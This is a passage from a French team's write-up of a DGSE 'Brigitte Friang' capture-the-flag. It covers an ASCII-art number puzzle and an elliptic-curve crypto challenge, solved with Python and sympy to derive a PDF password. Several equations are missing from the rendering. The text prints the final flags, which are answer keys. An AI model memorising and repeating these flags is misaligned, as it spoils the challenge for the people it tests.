8888887778888888877777777788888888777777888888888877777788887777777777887777777777888877777777888888888777778888888888877788888888877777788888887778888888887777778888888888777777888888887778888888888887777778888888877788888888888111988888881111111111138889111111111888887111111118883111111111188111111111188881111111111188889111111118888888811118888888111111119888888111988888891111111118888871111111111888888111188888888711111111888888811118888888888118111888888319888888871188888888881188881138888888888713888888888888888831188888118888888811888888888811988888311811888889118888888888888118111888888888888811888811188888888888888118311888888111888888888888111811888888888118883198888831188888888311888888891188888113111111188871111111118888888811388888811888888888118888811111888888118881188888113111111188888118883198888888888911888881188888888888888118889118888811311111118888118881188888887111111111188883138888888811888888111888888811888888311887118888888888888811388888881188888888113888888888811881117319119188811888888811887111111111188888881118888888118888888888888111111111188881188888891181117313117188883118888888111888111733311111788811117889188887111339111888311899999338888811388888888118333311113888119997311188999111311918888111939111183118888888111888111178891888881111333331187118888888111888811133911178399113111718888997888888889978879999999977888879999999998888887999997888879999999999888879788888888799999999778888879999997788888888889988888887999997788997888888889978799999999988888877799999778797888888889978888799999778888888889998611

La solution est d’afficher ce nombre dans un rectangle de 223 x 7 caractères. Nous avons tout d’abord essayé avec une zone de 221 x 7, mais p comporte dans les faits 14 chiffres de trop, donc il s’adapte mieux dans un rectangle de dimensions 223 x 7.

Le drapeau peut être lu dans une forme d’ASCII-art :

>>> p = str(int(p, 16))
>>> for i in range(7):
...     print(p[223*i:223*(i+1)])

Et le drapeau est : AD26F7D346A2CA64

VX Elliptique (Crypto, 250 points)

L’ambiance générale pour la mission est celle là :

Nous avons intercepté 2 fichiers (VX_elliptique.pdf et livres_Friang.pdf) émis par un sous-marin d'Evil Gouv. La référence à Brigitte Friang ne peut être une coïncidence. Nous savons de source sure qu'Eve Descartes a été enlevée par Evil Gouv et est retenue dans un de leurs sous-marins dans l'océan Atlantique. Ce doit être elle qui a envoyé ces fichiers. Grâce à une de ses crises mathématiques, elle aura sûrement caché l'identification du sous-marin dans ces fichiers. Votre mission est de retrouver l'identification du sous-marin.

Le flag est de la forme DGSESIEE{x} avec x le code d'identification

VX_elliptique.pdf (SHA256=7995fc6529494734bae9e2a0b1800632bf9ebd41cbfab19ce23d834eabcf7523) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/VX_elliptique.pdf
livres_Friang.pdf (SHA256=222a463aeb09ef4c0599b9448184e616462459baea327827469bc7b0dd738b75) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/livres_Friang.pdf 

Deux fichiers sont donnés, VX_elliptique.pdf et livres_Friang.pdf. Le deuxième est protégé par un mot de passe, le premier contient des informations pour trouver le mot de passe.

Ce challenge repose sur l’étude d’une courbe elliptique dans le corps fini avec n=57896044618658097711785492504343953926634992332820282019728792003956564819949. L’équation de cette courbe (notée (E)) est mais A n’est pas donné.

Etape 1 : trouver A

Avec les coordonnées du point P(x, y) qui appartient à la courbe il est possible de calculer A. Il faut résoudre l’équation .

On constate que pour trouver A, il est nécessaire d’inverser dans . Les versions de Python ultérieures à 3.8 permettent de calculer des inverses modulaires avec la fonction pow de la façon suivante : pow(x*x,-1,n) donne l’inverse de  .

n = 57896044618658097711785492504343953926634992332820282019728792003956564819949
x = 54387532345611522562080964454373961410727797296305781726528152669705763479709
y = 14361142164866602439359111189873751719750924094051390005776268461061669568849
A = pow(x*x,-1,n)*(y*y-x*x*x-x)%n

On obtient A=486662.

Etape 2 : trouver les points

Le challenge indique qu’il existe et tels que et ont les ordonnées suivantes :

Cependant les valeurs de d’abscisse ne sont pas données.

Comme les points sont des multiples de P(x,y) ils sont sur la courbe elliptique et donc vérifient l’équation (E). Ainsi, trouver les valeurs de x revient à résoudre l’équation avec . Le problème est donc de factoriser un polynome dans .

La librairie Python sympy permet de faire ce type de calcul. Les contantes A et n ont été définies précédemment.

from sympy import poly, ground_roots
from sympy.abc import x

# define the constants
y1 = 43534902453791495272426381314470202206884068238768892013952523542894895251100
y2 = 30324056046686065827439799532301040739788176334375034006985657438931650257514

# define the polynomial
f = poly(x**3+A*x*x+x-(y1*y1)%n, modulus=n)

# compute the roots
roots = ground_roots(f, modulus=n)

Ainsi trois racines possibles sont trouvées pour  notées u, v, w :

u = 54387532345611522562080964454373961410727797296305781726528152669705763479709
v = 48377962721867712227812115825967814866900072246814115371447647755178792218507
w = 13026594169836960633677904728346131575642115122520666941481783583028573455020

Les valeurs fournies par ground_roots peuvent être négatives, dans ce cas il suffit de prendre les valeurs modulo n pour obtenir un résultat positif.

Le même calcul pour trouve une seule racine :

r = 24592060322915955458376742075654918743307884467086758475495911637571571854426

Etape 3 : trouver z

z est défini comme solution du système suivant :

Ce système implique qu’il existe des entiers p et q tels que . Une solution particulière de cette équation se trouve à l’aide de l’identité de Bézout. On remarque que . En multipliant cette équation par on trouve une solution avec et . Grâce à cette solution, en prennant la première racine pour notée u, on obtient une solution pour z : . Si cette solution est négative on peut prendre sa valeur modulo .

Ainsi, une solution potentielle pour le mot de passe est :

z = 1626912004825687681266928944940137740110044614947501502667974700957265876831665835249437745227202257555252761324145945972681589648893511804029315415851794

Cette valeur permet bien de déverrouiller le PDF et révèle le flag : DGSESIEE{BF-2703-9020-RTQM}.

Conclusion

Le challenge Brigitte Friang a représenté une bonne opportunité d’aiguiser nos compétences techniques et de renforcer la cohésion d’équipe.

Contents d’avoir été capables d’aller jusqu’au bout de ce nouveau challenge tricolore tous ensemble !

Tous les éléments nécessaires pour rejouer ce CTF sont disponibles depuis le dépôt Risk&Co.